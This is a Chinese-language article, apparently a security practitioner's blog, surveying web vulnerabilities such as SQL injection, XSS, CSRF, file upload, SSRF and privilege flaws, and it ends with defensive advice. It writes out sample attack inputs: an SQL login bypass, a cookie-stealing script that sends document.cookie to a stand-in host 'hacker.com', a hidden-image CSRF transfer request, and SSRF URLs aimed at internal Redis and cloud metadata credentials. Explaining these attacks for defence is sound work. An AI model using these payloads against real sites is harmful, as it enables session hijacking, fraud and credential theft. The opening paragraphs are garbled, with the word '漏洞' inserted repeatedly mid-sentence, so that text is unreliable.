去年有个做电商的漏洞朋友找我,说网站首页被挂了一串博彩链接。漏洞我登服务器一看,漏洞后台登录日志里密密麻麻全是漏洞不同IP的尝试记录,密码框被暴力撞了三天。漏洞最后查出来是漏洞某个离职运营的账号没删,密码还是漏洞"admin123"。这就是漏洞典型的弱口令漏洞——不是技术多高明,纯粹是漏洞人的疏忽。
Web漏洞这东西,漏洞多数时候不是漏洞黑客多厉害,而是漏洞开发或运维留了太多"后门"。我见过最离谱的漏洞一个案例:某企业官网的数据库备份文件直接放在根目录下,文件名就叫backup.sql。漏洞用浏览器访问域名/backup.sql,漏洞整个用户表、订单表全下载下来了。这种叫敏感文件泄露,属于信息泄露类漏洞,利用门槛几乎为零。
SQL注入算是老牌漏洞了。原理不复杂——用户输入的数据被当成代码执行了。比如登录框里输入' or 1=1 --,后端如果没过滤,直接拼SQL语句,就能绕过密码验证。前两年某政府网站被拖库,根源就是搜索框没做参数化查询。现在框架一般自带防护,但老系统、外包赶工的项目里,这问题依然常见。我习惯用sqlmap扫一遍,十次里总能碰上一两次有反应的。
XSS(跨站脚本)分三种:存储型、反射型、DOM型。存储型最危险。举个真实例子:某论坛的评论区没转义HTML标签,攻击者发帖内容里塞了<script>fetch('http://hacker.com?c='+document.cookie)</script>。所有浏览该帖的用户,cookie都会被悄悄发到攻击者服务器。管理员一登录,会话直接被盗。反射型需要诱导点击,DOM型则完全在浏览器端发生,服务端日志都看不到。
CSRF(跨站请求伪造)经常被忽略。它的逻辑是:你登录了银行网站,cookie还在有效期内。这时你点开一个恶意页面,里面藏了<img src="http://bank.com/transfer?to=hacker&amount=10000">。浏览器会自动带上你的cookie发请求,钱就转走了。防御手段主要是加token验证和检查Referer头。我见过不少后台管理系统只靠cookie鉴权,改个密码的接口连旧密码都不验证,CSRF一打一个准。
文件上传漏洞的破坏力取决于服务器配置。有个客户做图片社交,上传接口只检查了Content-Type,攻击者把.php文件改成image/jpeg就传上去了。更糟的是上传目录有执行权限,直接访问/uploads/shell.php就能执行任意命令。正确做法是白名单校验后缀、重命名文件、存储到非Web目录。但很多CMS系统为了"方便",允许上传zip、svg,结果就是被拿shell。
SSRF(服务端请求伪造)这两年越来越受重视。攻击者让服务器去访问内网资源,比如http://127.0.0.1:6379探测Redis,或者http://169.254.169.254/latest/meta-data/读取云服务器元数据。某次渗透测试中,我发现一个图片加载功能可以传URL,直接读到了AWS的临时凭证。防御需要限制协议、IP黑名单、禁止跳转。
越权漏洞分水平越权和垂直越权。水平越权是A用户能看B用户的数据,比如把/user?id=1001改成1002。垂直越权是普通用户干了管理员的事,比如直接访问/admin/deleteUser。很多系统前端隐藏了按钮,后端却没做权限校验。我习惯用Burp Suite改请求包,把普通用户的cookie换成管理员的,看接口是否还认。
逻辑漏洞最考验对业务的理解。比如密码找回时,验证码返回在响应包里;或者修改数量为负数,导致退款金额翻倍;又或者优惠券可以无限叠加。这类漏洞没有固定模式,全靠手工测试。有次我买会员,把价格参数从99改成-99,结果账户余额反而增加了。
这些漏洞背后有个共同点:信任了不该信任的输入。不管是用户提交的表单、HTTP头、还是第三方接口返回的数据,只要没做校验和转义,就可能变成攻击入口。修复成本其实不高,参数化查询、输出编码、权限中间件、文件类型白名单——都是成熟方案。问题在于开发时赶进度,上线后又不做安全测试。我见过太多项目,功能跑通就交付,渗透测试报告里高危漏洞一页写不下。
真要防,先把OWASP Top 10过一遍,再针对业务逻辑做威胁建模。别指望WAF能挡住所有攻击,它只是最后一道缓冲。代码层面的安全习惯,比买什么设备都管用。